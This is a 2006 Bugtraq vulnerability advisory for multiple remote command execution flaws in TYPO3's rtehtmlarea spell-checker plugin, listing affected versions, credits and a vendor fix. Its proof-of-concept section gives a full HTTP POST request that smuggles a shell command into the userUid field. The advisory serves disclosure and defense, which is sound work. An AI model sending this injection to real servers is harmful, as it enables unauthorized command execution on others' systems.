Typo3 Class.TX_RTEHTMLArea_PI1.PHP Multiple Remote Command Execution Vulnerabilities

BID:21680

Info

Typo3 Class.TX_RTEHTMLArea_PI1.PHP Multiple Remote Command Execution Vulnerabilities

Bugtraq ID: 21680
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Dec 20 2006 12:00AM
Updated: Dec 20 2006 09:32PM
Credit: D. Fabian and J. Greil are credited with the discovery of these issues.
Vulnerable: Typo3 Typo3 4.0.3
Typo3 Typo3 4.0.2
Typo3 Typo3 4.0.1
Typo3 Typo3 3.7 .0
Typo3 Typo3 4.0
Typo3 Typo3 3.8
Not Vulnerable: Typo3 Typo3 4.0.4

Discussion

Typo3 Class.TX_RTEHTMLArea_PI1.PHP Multiple Remote Command Execution Vulnerabilities

TYPO3 is prone to multiple vulnerabilities that allow attackers to execute arbitrary commands. This issue occurs because the application fails to properly sanitize user-supplied data.

Exploiting these issues allows unauthenticated attackers to execute arbitrary system commands with the privileges of the application.

Versions 4.0 to 4.0.3 and 4.1beta are vulnerable; versions 3.7 and 3.8 are also vulnerable if they have the optional 'rtehtmlarea' extension installed.

Exploit / POC

Typo3 Class.TX_RTEHTMLArea_PI1.PHP Multiple Remote Command Execution Vulnerabilities

Attackers can exploit these issues via a web client.

The following proof-of-concept example is available:

POST /typo3/sysext/rtehtmlarea/htmlarea/plugins/SpellChecker/spell-
check-logic.php?id=1 HTTP/1.1
Host: www.example.com
User-Agent: none
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

psell_mode=fast&to_p_dict=1&cmd=learn&userUid=test;+echo+'shell'+>+
/tmp/shell.txt+%23&enablePersonalDicts=true

Solution / Fix

Typo3 Class.TX_RTEHTMLArea_PI1.PHP Multiple Remote Command Execution Vulnerabilities

Solution:
The vendor has released fixes to address these issues. Please see the references for more information.


Typo3 Typo3 3.8

Typo3 Typo3 4.0

Typo3 Typo3 3.7 .0

Typo3 Typo3 4.0.1

Typo3 Typo3 4.0.2

Typo3 Typo3 4.0.3

References

Typo3 Class.TX_RTEHTMLArea_PI1.PHP Multiple Remote Command Execution Vulnerabilities

References:
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